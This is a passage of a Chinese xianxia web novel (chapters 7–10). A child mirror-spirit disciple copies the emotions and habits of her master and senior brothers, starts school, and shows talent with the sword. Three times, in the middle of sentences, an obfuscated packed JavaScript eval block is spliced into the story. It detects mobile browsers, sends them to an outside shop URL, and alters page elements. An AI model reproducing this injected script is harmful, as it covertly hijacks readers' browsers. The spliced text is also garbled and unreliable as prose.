《祈仙高照》 7. 第 7 章 礼毕后两位仙尊便走了,师徒四人关起门来说话,主要还是讨论怎么照顾石映心的问题。 “在此之前,师父,”顾梦真举手,“您是不是忘了什么?” 慕雲疑惑地看向他:“忘了什么?” 顾梦真把手一伸:“我这107日照顾小师妹的酬劳。” 哇,慕雲瞪眼:“她是你小师妹!你照顾她不是情理之中的?” “情理之中和师兄妹明算账也不冲突呀。”顾梦真把手又伸过去了一点,“这样吧,我抹个零头,师父您给我一百天的酬劳就行。而且我也不坑您,小师妹不吃不喝不拉撒,照顾起来很方便,一日我就算一灵石……您给我一百灵石就成。” 慕雲被自己的好徒儿给气笑了,知道他小气,但没想到这算盘有一天还能打到她头上来! 可是他这有理有据的,身为师父,慕雲真是不好耍赖,干脆朝抱着剑在边上旁听的石映心一抬下巴,说:“你照顾小师妹,应该是小师妹付你酬劳,你且记得,等她长大了去算账。” 顾梦真“呜”了一声,不情不愿地撅起嘴巴,还是应下了:“行吧,那我开个字据……” 于是写了字据,让还不会写字的石映心模仿着签下自己的名字。 顾梦真拿过字据一看:“师父,她模仿的是我的字迹,一模一样的,这怎么行?应该让她自己写……” “你怎么这么麻烦?”慕雲不耐烦道,“有我和你大师兄给你作证,行不行?” 顾梦真只好说“行”。 这时候石映心忽然说话了:“师兄不高兴。” 明眼人都看得出来,所以除了明易的视线在她身上停了会,大家都没在意。 慕雲还冷笑一声:“你师兄高兴得很,一百灵石呢。” 顾梦真幽怨地瞥了他师父一眼,依旧噘着嘴不说话。 是吗?可是她觉得不是这样呢。 石映心直勾勾地看了顾梦真一会,缓缓地眨了一下眼,眸间有一灵光转瞬而逝,她双唇轻启,吐出一个字: “照。” 忽地从椅子上站起来,跑到慕雲面前,在她疑惑的视线中往她两肩膀上一搭手,使劲儿地摇晃了起来,口吐顾梦真的声音:“讨厌的师父!小气的师父!偏要把这账算师妹头上,天下凡人有生儿育女之理,难道师父捡回来小孩不该她花钱花心思养吗?” 她在三人目瞪口呆的注视下,跪地一趴,双手抱头:“呜呜呜,小师妹连字都不会写,这一百灵石我看是打水漂了!” 三人:??? 如此之后,她就站了起来,默不作声地又回到了自己的椅子上,把木剑抱在了怀里,一派天真地看了看三人,最后盯着明易说:“师兄不服气。” 其余二人还未从震惊中回神,又顺着她的话看向明易。 石映心缓缓地对明易眨了下眼睛,这次她说的“照”,大家都听见了,只见她从椅子上跳了下来,将怀里的剑往天上一抛,居然灵活地接住了,一套动作似乎有点像谁。 她将剑尖指着明易,脸上已是和他一般面无表情,她冷笑一声,口吐明易言: “呵,不过是个……唔唔唔!” 明易闪到她边上,死死地捂住了她的嘴巴,神色竟略显慌张:“师父,师叔不是说她现在以凡心替魂石,应是凡人,为何还有读心的本领?” 慕雲也是大吃一惊,一头雾水,连忙给天虚仙尊飞传音鹤。 天虚仙尊也很快飞了传音鹤回来:“炼凡心救器灵一事,本尊也是照秘籍所言一试,死马当活马医罢了;依本尊看,不管如何,活着就好。” 翻译:拿你徒儿试试秘籍所言真假。 慕雲:…… 趁她在忙,明易和在他怀里挣扎的小师妹对上视线,他微微眯眼,压低声音威胁道:“不管你耍什么花样,别把算盘打到我这。” 石映心瞪着眼睛,双手扒拉着他的手,但她人小劲小,怎么都扒拉不下来,还听他这样威胁的话语,渐渐地感到一些不高兴,这郁闷的心情和她刚刚在二师兄身上感知到的有些像,但不完全一样—— 比起前者的憋屈,她的反应是猛地一张嘴,一口咬在那只罪魁祸手上。 “嘶——” 明易猛然抽回手,低头一看,手背和掌心都多了几个牙坑。 好啊——小师妹,好啊! 他冷飕飕地看向她,却见她很无辜地朝他眨了下眼睛,说了句“师兄很生气”,然后转身跑到慕雲边上,躲到了她的怀里。 明易嘴角的肌肉一抽,抽出一个怒火微烧的笑。 慕雲没瞧见师兄妹俩的友好互动,看见小孩跑到她怀里,就抱着她问:“映心,你可知道师父心里在想什么?” 石映心摇摇脑袋。 “那方才是怎么回事呢?你像大师兄二师兄上身了一样……” “照。”石映心说,“我照到了。” 慕雲一脸疑惑:“什么照?” “我明白了——师妹的真身不是镜子吗?”懵逼中思考的器修顾梦真灵光一闪,跳起来说,“难道这个‘照’,是镜子照人的意思?就像照真镜能照出妖灵真身,照骨镜能照出修士的修为……小师妹的真身镜,莫不是能照出旁人的心中所想?” 慕雲听着有几分道理,但:“可她说了,不知为师心中在想什么。” 顾梦真:“额……” “她照的应是人的七情六欲。”明易盯着那躲在师父怀里偷瞄他的小孩,炯炯目光仿佛要瞧进她的脑壳,“她方才先说了二师弟不高兴……我不服气,对着我们眨了下眼睛,便像鬼上身一般,将我们的心中所感在她身上演戏……” “人的七情六欲……”慕雲抬了下眉,好奇地对着小徒弟问,“映心,你照照师父?” 石映心听话地对慕雲眨了下眼睛,在慕雲期待的注视下她歪了歪脑袋,摇了摇头说:“没有了。” 没有了? 慕雲先是一愣,后了然笑道:“是了,就是宝器也不能一直使用,明日再试。” “太神奇了……”顾梦真瞅着小师妹说,“师父,那小师妹如今到底是人还是镜灵?” “无所谓,”慕雲揽着小徒弟肩膀,笑容得意中带着明显的疲惫,“反正都是我的徒弟,是我千辛万苦才救活的宝贝。” 还宝贝。 顾梦真一听,便有些酸溜溜起来:“师父,就算小师妹天纵奇才,你也不能偏心啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15668865|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “为师对你们都是一视同仁的。”慕雲瞥二徒弟一眼,“你和明易的吃穿用度、过节时收的奇珍异宝,还有住的洞府大小,哪一样不是一般无二?” 顾梦真一想,还真是呢:“哦……” 明易抿着唇没说话,眼神瞅着石映心悠悠晃荡的两只脚,心说这就算不偏心了吗?心在肉身之中,不偏不倚的哪里瞧得出来?即使是在两个徒弟身上花了相同的灵石、时日和精力,也不过是按理而为,若是按心…… “明易,明易?” 明易抬起眼,听见慕雲对他说:“你照顾小师妹不收灵石吧?” 明易:。 还不等他说什么,顾梦真就哇啦啦一顿把先前他许诺的“模仿他三招就照顾小师妹”的事情给抖了出来,并且添油加醋地说了小师妹是剑修奇才,第一次拿剑就会耍剑式巴拉巴拉,听得慕雲也很兴奋: “竟有此事?天奶待我不薄,又让慕雲得一天才弟子!哈哈哈哈……” 明易:…… 最后经过师徒三人的讨价还价,决定先由师父领进门,等她引气入体、进入炼气期,并决定好日后到底要修剑还是干嘛之后,再托管给两位师兄。新徒弟的新洞府还没开辟,在此之前,石映心先跟着慕雲混。 * 慕雲很快就体会到了养孩子的不易。 倒也不是石映心调皮,只是俗话说得好,孩子是看着父母的背影长大的,这话强调了言传身教的重要性——可惜的是,慕雲本人并不是一个“完美”的大人;石映心也不是一个“无缺”的小孩。 先夸夸孩子,她很聪明,就如两位师兄所说,她什么东西都是一学就会,慕雲不过是示范了一遍如何引气入体,小徒弟对她眨了下眼睛——就是她说的“照”了一下,居然转眼便会了——明易那会还用了一天一夜呢! 慕雲大喜过望,但也没有声张,毕竟连炼气期都没进,这算哪到哪。 见小徒弟一直抱着那把木剑,慕雲便先教她练剑,这下就暴露出问题了,她虽然能“照”一下就完美效仿出基础剑法三式二十七招,但“照”完之后就不记得了,也就是说这“照人”的能力只是这片刻的过眼云烟。 就像人照镜子一般,你来到镜子前,镜子就显出你的模样;你走了,镜子就空了。会又怎么样?记不住——白搭。 更何况她目前一日最多“照”两次。 练剑又不像引气入体一般,会了就是会了,必须不断地重复、熟悉,还要练出剑修自己的剑意;石映心虽能片刻效仿,但就如鬼上身一般,效仿的也是他人的剑意,鬼下身之后她又被打回原形。 是真的打回原形——肉身跟不上剑式,配置不够,练完就力竭,两眼一翻就是晕,给她师父吓了好几跳。 不过慕雲并不觉得这是坏事,复刻来的本领始终不是自己的,便还是像教普通弟子那般,让她先从基础练起——挥剑、扎马步,跑圈。 对剑修来说,能驱使宝剑的强劲肉身是大前提。 一开始这孩子是乖乖的,闻鸡起舞地蹲马步,蹲完半个时辰就去绕院子跑圈,跑完半个时辰再去挥剑,接着看图书识字…… 慕雲很安心:养到好徒弟! 8. 第 8 章 直到不久之后某一日,她师兄陶远有事下山,送来一堆册子文卷,要慕雲帮忙处理。慕雲哀嚎一声,正巧屋外下雨,她就让小徒弟在边上扎马步,自己抓耳挠腮地在书案前翻起册子来。 翻了没半个时辰她就烦了,转身上了榻要休息,这时候扎着马步的小徒弟说:“师父,你的册子还没看完。” 慕雲躺在榻上,背对着她挥挥手:“师父累了,要休息。” 石映心盯着师父的背影:“师父,你叮嘱我不准偷懒,你这是偷懒吗?” 慕雲背影一僵:“……这叫劳逸结合。” 石映心:“哦。” 师父没瞧见,小徒弟缓缓地对着她的背影眨了下眼睛——于是便学会了劳逸结合。 隔日早上,本是跑圈的时辰,慕雲来到院子里一看,小徒弟居然坐在树下吃甜甜果,见她来了,还把手中吃了一半的果子一递,脸上带笑:“师父,你吃不吃甜甜果?” 慕雲这回还没反应过来,诧异道:“映心,你怎么在这坐着?为师不是让你跑圈吗?” 石映心咬果子:“师父,我跑累了,在劳逸结合呀。” 慕雲:…… “你这是偷懒!”念在小徒弟是初犯,慕雲还不是很严厉地说,“现在是跑圈的时辰,跑累了就不跑吗?你怎么能半途而废?” 石映心脑袋一歪,面色疑惑:“可是昨天,师父也没看完册子就休息了呀。” 慕雲:。 “两回事……你不准这样!” “为什么?” 慕雲说不出话,她自己偷懒是一回事,但教小孩怎么能这么教呢?只好先承认自己错了,说自己下不为例;本是打算小罚一下,让她多跑两圈的,谁知道这家伙脱口就问: “那师父也要罚自己吗?” 慕雲:…… 经过此事,她诧异地发现了,小徒弟在不知不觉之中模仿着自己的行为,可怖的是还不单是干巴巴的模仿:比如她不爱吃葱花,小徒弟是吃的,但她不吃香菜,于是就学她把香菜挑出来。 慕雲挡住她的筷子说:“小孩子不能挑食!” 石映心看了看师父碗边的葱花,点点头:“那要等长到几岁才能和师父一样挑食呢?” 慕雲:…… 养到一个举一反三的好徒弟! “……师父错了,师父这就吃了这些葱花!” 但就算她把葱花吃了,小徒弟也不吃香菜,还这么说呢:“师父,映心感觉到了,师父吃葱花不开心,映心不想师父不开心,你还是别吃了。” 慕雲:……明明是你自己不想吃香菜。 自打收了明易当徒弟以来,她第一次感觉到了养徒弟的不易。石映心就像一个天真无知的孩童,偏偏她又聪明,于是这天真无知就变得可怕起来。她不断地从身边的人身上学习各种各样的七情六欲,来完整她自己的三观。 她学那些“坏习惯”尤其拿手,你一不小心被她捕捉到了,她定要模仿起来。 慕雲对小徒弟很上心,因此感到许多压力,她自认不是一个十全十美的师父——当然,她也没想让自己的徒弟成为一个十全十美的人,但她不希望自己的缺点被徒弟学过去。 所以纠结再三,她决定让石映心住到品学兼优的大徒弟洞府上,平日让明易指导她练功,教新课时她再过去。 此时,距离石映心变成“凡人”已过去三个月,而她已是炼器一层后期。这速度比先前的明易还快几天。 慕雲把手上的行囊交到大徒弟手里,拍拍他肩膀:“为师近日要半闭关修炼,小师妹就交给你了,有要紧的事随时找我便是。” 明易看看手中的行囊,嘴巴微张…… “大师兄不情愿。”石映心眨了下眼睛,她这个时候已经会一些更准确的用词了,不再只会说什么高兴不高兴的。 明易:。 慕雲目光深沉地看着大徒弟,搭在他肩膀上的手使了点劲:“哦,是吗?你不情愿?” 明易:…… 心思已被镜子揭露,他就是想装模作样地高兴应下、当一个好师兄也无济于事,于是干脆抿着唇,冷漠地看着面前的人。 大师兄讨厌她。石映心照到了,一瞧见她,大师兄的脑子里就罩了一层阴沉的云雾,有些像师父讨厌葱花,她讨厌香菜,一看到就提不起劲来……也不完全一样。 可是为什么呢?她奇怪地想,她明明没和大师兄说过几句话。 大师兄把视线从她身上移开,对师父说:“师父,徒儿有个主意,既然小师妹现下已于凡人无异,不如就按七曜日一轮,即日起送她去上堂课,日火木在我这住,月水金去二师弟那住,至于土日,便让她陪着师父,如何?” 慕雲想了想,这安排倒也合理,新弟子进门总是要上学堂的。先前是放心不下,孩子与凡人不同,瞧着十岁的模样还不识字,好奇心旺盛,每天都要照她两次,不管她在吃饭睡觉还是单纯发呆,也不知道她到底在照什么。 她对他人的七情六欲感知似乎比常人敏锐些,时不时盯着人看一会,冒出一句“师父想睡觉”“师父想吃甜甜果”“师父想偷懒”;慕雲分不清她是察言观色得出的结论,还是和那“照”类似的技能? 小徒弟的法术到现在还是个没解开的谜啊。 送她上学堂,让她多接触各式各样的人,对一个能照七情六欲的镜灵来说……也许是件好事? 慕雲斟酌好便不再犹豫,一点头道:“行,我现在就送她去勤学堂,你在洞府里收拾个屋子出来,今日放堂后记得去接她。” 明易扬起一个标志的微笑:“好。” 于是石映心就过上了上学堂的日子。练剑时跟的是明易的班,也好让他照料一二;其余的大课,比如思修课、国文课,算术课等等跟的是百花大班,大班里就学什么的都有,练剑炼丹画符的、各个师门的弟子都在。 第一天去百花大班上思修课,石映心表现出了十分的好奇。 百花大班有二十四号人,她第一次和这么多人共处一室,突然觉得自己一日照两回的技能稀罕起来,转着黑溜溜的眼珠子,斟酌着想要照谁呢。 慕雲没搞清楚,但石映心自己很明白,照了人之后虽能切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15668866|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体会到那人的心中情愫,但只是感同身受,却不知道他心中具体想了什么、要做什么;如果她要知道,必须让“鬼”上身(这是师父的说法,映心借来一用)。 可师父临走前千叮咛万嘱咐了:不准乱照人、更不准鬼上身! 石映心瞅着班上二十三个人头,二十三张神态各异的脸,感到自己的心砰砰砰地在胸膛里跳舞,她捂住嘴巴防止它跳出来,心里想着,这是不是就是小人书上写的“心跳如鼓”“蠢蠢欲动”呢? 师父说不准…… 据她观察,不准的意思就是做了之后受罚就好了——要是师父不知道,就没有了惩罚她的人。 石映心很明白。 她转头看向坐在她边上、上半身趴在桌子上的女弟子,瞧见她嘟着嘴巴,面色是不高兴。 为何不高兴呢? 石映心眨了下眼。下一秒她也身子一倾——趴到桌子上了,嘟着嘴巴嘀嘀咕咕起来:“好烦,不想上思修课,无聊烦闷至极!我的话本还没看完呢……” 石映心回过神来,看见那个和她年龄相仿的女弟子瞪大眼睛看着她,她坐起身来,原本烦闷的脸上露出惊喜的神情:“这位同门,你也喜欢看话本?!” 喜欢看话本是怎样的感觉,石映心并不太清楚,她想了想说:“我看我师父买的小人书。” “我也爱看小人书!”这么说着,她从书案下的抽匣里拿了一本话本出来,打量着堂前教书的夫子还没到,偷摸往她怀里一塞,“这本可好看了,看过的同门师姐妹都说好!我借给你看——” 石映心接过话本,书衣上写了几个大字,正好她认识:“基础符箓大全。” “欸~你怎么怪憨的?”女弟子凑过来,把包书皮打开,露出此话本真正的书衣,“我与师兄的二三事。” 石映心目前看的小人书,都是慕雲特地给她买来的孩童启蒙图画,哪里见过这样说什么“二三事”的书呢,她不禁疑惑:“师兄?” “是呀,哪个门派里没有一个惊才艳艳、道骨仙风,叫无数弟子仰慕的梦中情兄呢?所以这类的话本分外畅销!”这位同门说着说着,面上露出向往的神情,“就像我们归壹派的明易师兄……你定也知道的!” 石映心声线平板:“我是知道的。” 这时候学堂忽地安静下来,是教思修课的夫子从门口进来了,讲小话的弟子们纷纷收敛了一些。这位同门姐妹连忙压低声音说:“既然我们有同席之缘,还都爱看话本,不如互通姓名,交个朋友?你叫什么?” “石映心。”她把腰间的令牌拿起来给她看。 “好名字。我是曾换月。”曾换月朝她一笑,圆圆的杏眼很可爱,“偷天换月的换月,你知道偷天换月是什么意思吗?我也是在话本上看到,就是……” 她似乎想解释一下,但夫子已经开始训话了,曾换月被夫子严厉的一声“肃静”给吓了一跳,缩了缩脖子,连忙装模作样地端坐好。 石映心盯了她几瞬,收回了视线,面色略有些沉思。 ……曾换月。 前边两个字怎么写来着? 9. 第 9 章 石映心还不知道看这类“和师兄的二三事”话本的时候要瞒着师兄,所以一拿出来就被她师兄给没收了。 “大字不识几个,就敢看这些乱七八糟的东西?”明易捏着话本,冷冷道,“不学无术!” 石映心:“不学无术是什么意思?” 明易:“就是不学正经的功课,天天看这些乱七八糟的话本。” 石映心伸出手:“我有学正经的功课,不算完全的不学无术。大师兄,把话本还给我,这是我借来的。” 明易挑了下眉:“哦?这么快就交到狐朋狗友了?” “狐朋狗友是什么意思?” “……就是借你这些荒唐话本的人。” 他这时候初步体会到师父的不易了,养个笨师妹真不容易。明易明白她根本看不懂这话本的意思——虽然总有一天会明白的,但定不是现在。 “话本给你,明早就去还了。”明易叹了口气,把话本递给她,见她一脸无辜地接过去,又叮嘱道,“不准看,听懂了?” “听懂了,大师兄。” 石映心不知道师兄为什么轻易地把话本给她了,她偷摸照了下师兄,发现他并没有多少生气……似乎还有些奇怪的兴奋? 这是什么情绪,她没接触过。 ——晚上她就知道了,在她不听话地打算偷看话本的时候,却发现话本翻不开,纸张之间被她不认识的法术粘得严严实实,她怎么掰扯都是徒劳无功。她胡乱往上边施了点灵力—— “石映心,你想做什么?” 大师兄的声音突然从书里冒了出来,吓得石映心小心肝一颤,缩在被子里躲了会,才确信大师兄没来,这是他做在书上的手脚。 原来那奇怪的兴奋叫“狡诈”,她不高兴地明白了。 第二日她把《我与师兄的二三事》还给曾换月,在对方问起她好不好看的时候,简单地说了事情经过。 曾换月一整个大汗颜——真的冒了许多的汗水出来:“不是姐妹,你、你怎么能当着你师兄的面看这本书?” “为什么不能?” 曾换月心说这咋解释:“你想象一下嘛,这不尴尬吗?” 尴尬?石映心好奇道:“你想象一下。” 曾换月虽莫名,但闻言就忍不住想象了一下,脸上露出了狰狞的神情,石映心照了照她,也露出了狰狞的神情,如出一辙的两张脸。 “你晓得了?” “晓得了。” 但为什么会有这样的尴尬呢?石映心还是不太懂。 两人试了一天,《我与师兄的二三事》始终翻不开,曾换月说带回去找其他的师姐想想办法。 这天放堂她得去二师兄那,二师兄迟到了一刻钟,连澄净诀都没施,灰头土脸地赶来,愧疚地说:“对不住啊小师妹,我一进炼器房,就不知何时何地了。” 石映心背着小包裹,从勤学堂前的台阶上站起来,摇摇头说:“无碍的,二师兄。” “你不要和师父说啊!师父知道了定要骂我。” “好。” 这个时候还很听二师兄的话。二师兄很欣慰。 顾梦真带着小师妹回到了他的林夕洞,进了卧房,瞧见满屋灰尘、遍地狼藉才想起来:“糟了!我本想昨日收拾好招待你来,结果忘了……” 石映心站在边上看他抓耳挠腮,心里觉得有些有趣,脸上一笑道:“二师兄不靠谱。” 顾梦真苦笑一声,无法辩驳:“师父也这么说……映心,你去外头等一等,师兄很快收拾好。” “哦。” 石映心也不喜欢在肮脏的地方多待,转身就去了正厅,坐在扶手椅上坐了一会,看着门口黑乎乎的景色,感到一些熟悉的记忆,仿佛先前自己在这坐过很久。 石映心想了想,搬着椅子到了卧房门口,顾梦真正静心施展澄净诀,她在门口朗声道:“二师兄,我要这把椅子!” 什么椅子?但他洞府里没什么值钱的椅子,顾梦真抽神回道:“你要带到哪里去?” 石映心:“就在这。” 这不还是在他洞府内吗?“哦,那不收你灵石了。” “谢谢二师兄。” 石映心放下椅子,又跑回正厅,但是没了椅子就不知道坐哪了,她便随处逛起来。先去了顾梦真的卧房,比她在师父和大师兄那的卧房好玩,因为里头除了床、柜子和书案外,还堆了一些乱七八糟的器物,木的铁的铜的,还有她不知道什么做的。 拿起一个鸟样的木头,只有她一个巴掌大小,戳了戳鸟头,没什么反应。石映心和鸟目对视了一会,忽然福至心灵,往木鸟里注入了一些灵力——这还是她今日上课新学的注灵术呢! “啾!” 木鸟猛然飞了起来,石映心吓了一跳,见木鸟“啾啾啾”个没停,在空中飞来飞去,石映心跳起来去扑,人矮腿短,没够到不说,反倒把鸟扑出了屋外,一路往顾梦真的方向飞去。 “咦?别跑!” 石映心追上去,一路追到了她的卧房,顾梦真正在铺床,瞧见那啾啾啾也是大惊,飞快地捂住脑袋:“糟了!” 这木鸟仿佛盯准了他的脑壳,直冲那啄起来,顾梦真手舞足蹈地要抓,却抓不住它,慌乱地冲站在边上看着的小师妹喊:“小师妹,你做了什么?!” 小师妹觉得自己大概是做错事了,小声地说:“夫子说,温故而知新……我在练今日课上新学的注灵术。” “这是我还没炼好的器物,”顾梦真抓住木鸟,手一滑又让它飞走了,他已然有些崩溃,“除非灵力耗尽,不然要一直啄我!” 石映心记得自己还不是人的时候,一直是二师兄在照顾她的,心里不忍看他被啄,于是动了动脑筋,从令牌的储物空间里变出木剑来。她在师父那练了三个月的基础剑法,平日又照又练的,实干中取巧,早已有了初步成效。 “二师兄别怕,我来救你!” 话音一落,她舞着剑冲上去,第一招打中了她二师兄的抓鸟的手背;第二招戳穿了鸟停落的书案;第三招刺破了床上刚铺好的羽毛被……第四招才把那只坏鸟凌空砍成一半,摔落在地。 “啾——” 顾梦真在漫天飞舞的鹅毛中,捂着抽疼的手背,目瞪口呆地看着这一切。 石映心把地上的木鸟尸体捡起来,朝二师兄一递,高兴道:“它死了,以后不会再伤到师兄了。” 她二师兄颓然往地上一跪,哭天嚎地道:“我的天奶啊——” 于是来二师兄这住的第二晚,她背上了债。 “亲师兄妹也是要明算账的!” 顾梦真的一只手上包着纱布,里头装了一些草药,渗出一些苦绿的汁液,他另一只没事的手在拿着毛笔记账:“虽然师兄明白你方才的破坏行为是出于好意,但——一切起因皆是你毛手毛脚,对木鸟用了注灵术,小师妹,你可明白?” 石映心照了顾梦真,感受到他的心揪在了一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15668867|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她觉得二师兄有些可怜,点点头说:“明白。” 顾梦真一边记一边写: “榆木书案,木中珍品,就是一寸二分宽的洞至少也要十灵石;灵兽宗特产呆呆鹅毛被,三十灵石……嗐,补一补还能用,算银丝线、填一只鹅鹅毛,就十五灵石吧;至于我的手,师兄念在你好意、且今日去迟了接你,又忘记收拾卧房的份上,不算你药钱了。” 没赚过钱的石映心对这些灵石并没有概念,只应了一声“好”。 “这些暂且不谈,最贵的是那只木鸟……”顾梦真露出心疼的表情,“虽未炼制完成,可已然花了我六十灵石!若是重头来过,那就是白费了一百二十灵石……嗐,小师妹,你何必要救我呢?等它灵力散尽不就没事了?” 石映心无辜地眨眼:“救师兄不对吗?” “这要分情况……”顾梦真抓抓脖子,无力和小师妹解释清楚怎么分,“你……你长大就懂了。” “哦。” 他记好账,把账本合上,语重心长地对小师妹说:“师兄是器修,干我们这行的万事都要省钱,一灵石也要掰成两半花,这都是为炼器做准备……如此与你明算账,并不是师兄小气,你可明白?” 石映心乖乖点头:“明白。” 隔天早上。 顾梦真掐点起床,自己都要迟到了,粗略地洗漱一番,连早膳都没吃,坐上他的“大鹏展翅”飞行法宝就走了,石映心听到大鹏“咔咔”的动静从屋里跑出来,只瞧见铁器隐入云层的尾巴。 石映心:OO 她呆了一会,抓了抓自己的披头散发,从兜里拿出一张薄纸来,回忆着昨日课上学的内容,先施了注灵术,薄纸自己折叠起来,变成了一只……丑不拉几的纸鹤。 她捏着纸鹤的一只翅膀看了看,心里有些满意,比昨天的丑鸭子好看多了;接着就是捻传音诀,她本是想传给师父的,但话说到最后却是一转,传给了二师兄。 她二师兄正在大鹏展翅上狂飞,就她这丑纸鹤哪里追得上,直到人家进了炼器房半晌了才收到传音鹤,给顾梦真吓得冷汗淋漓,连忙往家里赶。 他赶到的时候,看见小师妹坐在院子的石桌前,一点也不见着急地在吃甜甜果。是了,她是不知道迟到的可怖的:“小师妹!” 石映心转过头,朝正在从大鹏展翅上下来的二师兄说:“师兄,你忘记我了。” “对不住、对不住!”顾梦真擦了把汗,伸手要去拉她,“快,师兄带你去上课!” 石映心把手伸出去,在他要拉住的时候又缩了回来,顶着顾梦真奇怪的目光说:“师兄忘记我了,是不是要赔我灵石?” “赔……”顾梦真舌头没反应过来,脑子更是懵了一瞬,“赔你……灵石?” 石映心澄澈的眼里没有任何算计:“师兄昨天不是这么算账的吗?去迟了接我,又忘记收拾卧房,所以不算我药钱。” 顾梦真:。 他简直是瞠目结舌地看着面前的人,拉她的手卡在半空。 “二师兄?”石映心见他呆愣在那不说话,瞪着眼张着嘴,便好奇地照了他一下,稀奇地问,“师兄,这又惊又古怪的情绪叫什么?” 这就叫匪夷所思、难以置信。 小师妹,你明白了吗? 反正二师兄是明白了,石映心可不再是先前那个百依百顺、呆呆傻傻的石头师妹了;聪明的人免不了狡黠多变,伶俐的人少不了投机取巧,世事如此。 10. 第 10 章 石映心在练剑一事上展现出了极佳的天赋。 她的剑法师父是她师父的大师兄,陈久。天元仙尊下的三名弟子分别主修符阵(慕雲),剑法(陈久),药器(陶远)。 这和他们归壹派一百年前的变法有关,天下大比之后,取得魁首的归壹派为了巩固“第一大会”的位置,招(qiang)纳了其余七大仙门的高阶大能、部分优秀弟子来本派扎根,当时还以人多了为理由,开辟了不少灵脉山峰。 至此,剑宗变为五花八门宗,刚入学的弟子可以凭天赋或是喜好自行择修行法门;甚至原本在归壹派练了几年几十年剑法的弟子,忽然发现自己的天命所归是另门道,还能申请转修、双修——不过是从头再来。 发展到后来,收徒儿一事就变成:只要师父的同辈师叔中有徒弟能修的法门,便能收此徒弟;师父主要起到一个基础教导和教进阶法术的作用,比如慕雲虽主修符阵,但也会基础剑法和基础炼器,引导徒弟入门不成问题。 而勤学堂教的都是入门仙法,进阶仙法则由师父教导,每位师父应有自己的看家本领,只传授亲传弟子,比如慕雲的“呼风唤雨”之术,明易已修到了三层,顾梦真在一层,石映心还在玩传音鹤。 前景提要毕,话说回来。 陈久知道石映心是自己师妹新收的好徒弟,那便是他师侄了,瞧这孩子天真可爱,心中不免有些稀罕,问她慕雲教到哪了。 石映心说:“基础剑法三式二十七招都会了。” 陈久虽然没见过这孩子,但要紧的风声都传过他的耳朵,因此知道她才入归壹派三个月,就是会了基础剑法三式,他估计也就是花拳绣腿的程度。 练剑场上,他带的六十名弟子被他分为三个班,各自圈地苦练着,互不打扰。陈久和石映心正站在一阶班的前头,班里皆是和石映心年岁差不多的弟子,这会都一边练剑、一边偷偷打量新来的同窗。 陈久瞥了他们一眼,小弟子们急忙收回视线。他对同样好奇打量同窗的石映心说:“好,那就耍几招给师叔看看。” “哦。” 石映心招出木剑,陈久瞥了一眼,忽地冷哼一声:“怎么是把破木剑?你师父竟大意至此?”真不会养孩子! 石映心举着木剑糖葫芦,摇摇头说:“这是大师兄不用的木剑。” 陈久粗眉一皱,语气意外:“哦?难道是慕雲以此来激励你向明易学习?这倒是情有可原。” 石映心没大听懂他什么意思,一拿起剑来,她就有些蠢蠢欲动,问:“师叔,我什么时候舞剑?” 陈久后撤两步:“立刻。” 石映心便立刻摆出架势来,她身体笔直,并步而立,右手握剑贴着内手臂,面容是如云般轻巧的肃穆——几分像模像样,还有几分是像谁?紧接着她左腿屈膝上前,手上的剑随之刺出,起招利落干脆,接之流畅不断的一招一式,皆是浑然一体。 外行看热闹,内行看门道,像陈久这样内行中的内行,已然看得目不转睛、惊喜交加,等石映心比划完,这些情绪都变成了嫉妒——又给慕雲收到一个好徒弟!老天待他们师门不薄啊! 边上那些一阶弟子也都看傻了,一开始只觉得她耍得漂亮,但看着看着,懵懂地觉得不对劲起来,正巧一阵风过,带来一阵枯叶,路过石映心周边方圆,竟被她的剑风打了回去——嚯! “好、好,好!”陈久摇着脑袋鼓起掌来,连连赞叹,“奇才、奇才啊!” 石映心收了剑,朝师叔一拱手,这是慕雲教的规矩,被人夸奖时要说多谢:“多谢师叔。” “好孩子,”陈久看着师侄的眼里充满欣赏,“随师叔来,你该去二阶班。” 二阶班和一阶班有什么分别,石映心没兴趣多想,反正在哪都是练剑:“哦。” 她跟着陈久往不远处另一堆人走,听见身后那些弟子的窸窸窣窣议论声,心里有些好奇,但陈久腿长迈得步子大,她一走神就跟不上,只好压下好奇心小跑跟着。 “奇才?有多奇?能有明易师兄厉害吗?” “我听我家师姐说,能让陈久师叔夸出三个好字的皆是剑修天才,几十年来屈指可数呢!” “有明易师兄天才吗?” “……总之比你我天才!” 走得远一些后,陈久问她:“映心师侄,你的剑意……为何与你师父和明易有些相像?” 石映心听师父和大师兄讨论过这个事情,她大概记得一些结论:“可能是因为我照了他们。” 